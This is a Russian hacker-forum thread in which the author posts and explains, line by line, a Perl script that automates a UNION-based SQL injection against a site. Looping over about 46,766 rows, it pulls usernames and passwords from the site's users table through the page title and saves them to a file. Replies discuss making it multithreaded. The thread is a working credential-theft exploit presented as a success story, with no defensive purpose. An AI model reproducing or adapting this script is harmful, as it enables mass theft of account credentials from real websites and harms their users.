Парсер вывода SQLinj за несколько минут [Perl]

  1. Mei
    Парсер вывода SQLinj за несколько минут
    Буквально на коленке, да-да)

    На днях я столкнулся с досадной неприятностью: через найденную на одном сайте скулю оказалось невозможно вывести всю интересующую меня информацию сразу. Вывод шел в теге <title>, примерно так:

    [​IMG]

    Естественно, что необходимость перебирать несколько десятков тысяч учеток вручную меня не прельстила. :) Поэтому было принято решение написать простейший парсер вывода на языке Perl, и этот выбор не случаен - язык Perl прост в освоении, а интерпретатор Perl имеет несколько модулей, созданных специально для парсинга HTML, что сильно упрощает задачу. Это первое мое знакомство с Перлом после двадцати минут чтения правил синтаксиса, тыкания по клавишам и пары порций табачного дыма породило на свет этот код:

    Код:
    [COLOR="Green"]#!/usr/bin/perl -w
    ################################
    # X.N. Light SQL string parser #
    #           by Mei             #
    #   http://www.xaker.name/     #
    ################################[/COLOR]
    [COLOR="Lime"]use[/COLOR] LWP[COLOR="purple"]::[/COLOR]Simple[COLOR="purple"];[/COLOR]
    [COLOR="Lime"]use[/COLOR] HTML[COLOR="purple"]::[/COLOR]TokeParser[COLOR="purple"];[/COLOR]
    [COLOR="lime"]open[/COLOR] [COLOR="purple"]([/COLOR]f[COLOR="purple"],[/COLOR] [COLOR="orange"]">> parsed.txt"[/COLOR]) [COLOR="purple"]||[/COLOR] die [COLOR="orange"]"Невозможно открыть файл!"[/COLOR][COLOR="purple"];[/COLOR]
    [COLOR="lime"]for[/COLOR] [COLOR="purple"]([/COLOR]$i[COLOR="purple"]=[/COLOR]0[COLOR="purple"];[/COLOR]$i[COLOR="purple"]<=[/COLOR]46766[COLOR="purple"];[/COLOR]$i[COLOR="purple"]++[/COLOR][COLOR="purple"]) [/COLOR]
    [COLOR="purple"]{[/COLOR]
        $url [COLOR="purple"]=[/COLOR] [COLOR="orange"]'http://site.ru/index.php?id=694+and+0+union+select+1,2,0xa,concat_ws(0x3b,users_login,users_pass),5,6,7,8,9,0xa,0xa,0xa,13+from+users+limit+'[/COLOR].$i.[COLOR="orange"]',1--'[/COLOR] [COLOR="purple"]; [/COLOR]
        $txt [COLOR="purple"]=[/COLOR] get([COLOR="orange"]"$url"[/COLOR])[COLOR="purple"];[/COLOR]
        
        $p [COLOR="purple"]=[/COLOR] HTML[COLOR="purple"]::[/COLOR]TokeParser[COLOR="purple"]->[/COLOR]new[COLOR="purple"](\[/COLOR]$txt[COLOR="purple"]);[/COLOR]
    [COLOR="lime"]if[/COLOR] [COLOR="purple"]([/COLOR]$p[COLOR="purple"]->[/COLOR]get_tag("title")[COLOR="purple"])[/COLOR] 
    [COLOR="purple"]{ [/COLOR][COLOR="lime"]my[/COLOR] $title [COLOR="purple"]=[/COLOR] $p[COLOR="purple"]->[/COLOR]get_trimmed_text[COLOR="purple"];[/COLOR]
    $oldfilehandle [COLOR="purple"]=[/COLOR] [COLOR="lime"]select[/COLOR][COLOR="purple"]([/COLOR]f[COLOR="purple"]);[/COLOR]
    [COLOR="lime"]print[/COLOR] [COLOR="orange"]"$title\n"[/COLOR][COLOR="purple"];[/COLOR]
    [COLOR="lime"]select[/COLOR][COLOR="purple"]([/COLOR]$oldfilehandle[COLOR="purple"]);[/COLOR]
    [COLOR="lime"]print[/COLOR] [COLOR="orange"]"Спарсили "[/COLOR].$i.[COLOR="orange"]" строк\n"[/COLOR][COLOR="purple"];}[/COLOR]
    [COLOR="purple"]}[/COLOR]
    [COLOR="lime"]close[/COLOR] f[COLOR="purple"];[/COLOR]
    
    Разберем этот скрипт подробнее.

    Код:
    use LWP::Simple;
    Этой строкой мы указываем интерпретатору использовать модуль LWP::Simple
    Именно этот модуль далее позволит обратиться к уязвимой странице с выводом через функцию get()

    Код:
    use HTML::TokeParser;
    Подключаем модуль HTML::TokeParser
    Может это слишком заумно сказано, но все довольно просто - этот модуль выполнит всю грязную работу по разбору html-разметки и оставит только необходимые нам данные.

    Код:
    open (f, ">> parsed.txt") || die "Невозможно открыть файл!";
    Открываем файл, в который мы будем вести запись полученных строк. "f" - это дескриптор, "маркировка", так сказать, файла внутри программы. За ним следует имя файла, перед которым ставится способ открытия. В данном случае ">>" откроет файл на дозаписывание. Если файл открыть не удастся, то сработает логический оператор "||" - "или", выполнение скрипта остановится и на экран будет выведено указанное сообщение.

    Далее начинается цикл, условиями которого являются крайние значения sql-запроса limit. Можно было поставить условия, при которых цикл длился бы до тех пор, пока в <title> не начнут попадать пустые значения. Но точное количество строк мне уже было известно, поэтому (отчасти для дополнительной страховки) цикл будет прерван на последней строке.

    Здесь тоже ничего сложного нет. С каждым проходом цикла происходит инкремент (прибавляется единица) переменной $i, которая заменяет значение limit'a в запросе. Именно для этого мы пишем так:

    Код:
    $url = 'http://site.ru/index.php?id=694+and+0+union+select+1,2,0xa,concat_ws(0x3b,users_login,users_pass),5,6,7,8,9,0xa,0xa,0xa,13+from+users+limit+'.$i.',1--'
    Точки объединяют переменные и строки в единое целое. Да, можно заметить, что некоторые колонки заменены 0xa. Дело в том, что в <title> попадала далеко не одна колонка, и оставив все как есть при парсинге получилась бы знатная куча мусора. Если мне не изменяет память, то 0xa - это символ перевода строки, которая не мешает парсингу и выглядит как пустое значение (с тем же успехом можно применить и 0xd - сивол возврата каретки).

    Код:
    $txt = get("$url")
    Через функцию get() в составе LWP::Simple обращаемся с полученным запросом к уязвимому скрипту и полученное значение (то есть HTML-код странички) запихиваем в переменную $txt, которую обработает HTML::TokeParser:

    Код:
    $p = HTML::TokeParser->new(\$txt) 
    скармливаем модулю содержимое html
    Код:
    if ($p->get_tag("title")) {
    Выхватываем тег <title> (TokeParser можно указать не только тег, но и его параметры, например class или id. Также он может парсить из нескльких тегов сразу) и следуем нижеследующим инструкциям

    Код:
    my $title = $p->get_trimmed_text;
    Вытаскиваем в переменную $title содержимое тега <title>

    Далее пишем полученную строку в файл следующей конструкцией (если честно, я так до конца ее и не понял, именно переназначение дескрипторов. Но иначе не работает):
    Код:
    $old_desc = select(f); 
    Сохраняем дескриптор файла по-умолчанию и назначаем новый
    Код:
    print "$title\n";
    Вывод в новый дескриптор, то есть непосредственно запись в файл. "\n" - символ переноса строки, без него у нас будет полнейшая каша в спарсенном, для Windows следует использовать "\r\n")
    Код:
    select($old_desc);
    Восстанавливаем старый дескриптор

    Код:
    print "Спарсили ".$i." строк\n";
    Это уже вывод в консоль, чтобы было видно, работает у нас это дело или нет. Вообще, оставляет кучу мусора в консоли, поскольку каждый цикл пишет за собой эту строчку. Если сильно мешает, можно закомментировать или же вовсе удалить.

    [​IMG]

    Код:
    close f;
    В детстве учили убирать за собой? Во-о-от... Поработали и закрыли файл, указав его дескриптор.

    З.Ы.Этот код очень далек от хорошего, но задача выполнена: быстро написан парсер под конкретную ситуацию, а пока парсятся строки, можно попить чаю. Спарсится медленне, чем в случае вывода всех строк на страницу, но гораздо быстрее, чем руками :))
    Кстати, скрипт кушал 66 МГц процессора, 8 метров оперативки и примерно 20КБ/c трафика.
     
    5 пользователям это понравилось.
  2. ну а если заюзать кривые потоки перла=)
    Ну конечно понимаю, что статья это результат саморазвития.
    зы рад, что не забывают перл.
     
    1 человеку нравится это.
  3. Mei
    Имеешь ввиду прикрутить многопоточность? Подключаем другие модули, немного правим код, не меняя сути и радуемся. Впрочем, ты и так это знаешь) Но сервак, с которого парсились учетки, был слабенький, едва успевал обрабаывать один поток, так что... Жалко его стало)
    Только почему "кривые"? У перла что-то не так с потоками?

    Статья - звучит гордо. Поэтому сие не статья, а скорее эссе, вкупе с дележкой опытом и обозрением некоторых плюсов перла для тех, кто его не щупал.
    Z:Мну выпендрилсо ;)

    На меня сильное впечатления произвела история его создания, так что я бы не забыл. Теперь мне удалось свести с ним "предварительное знакомство", которое меня весьма порадовало.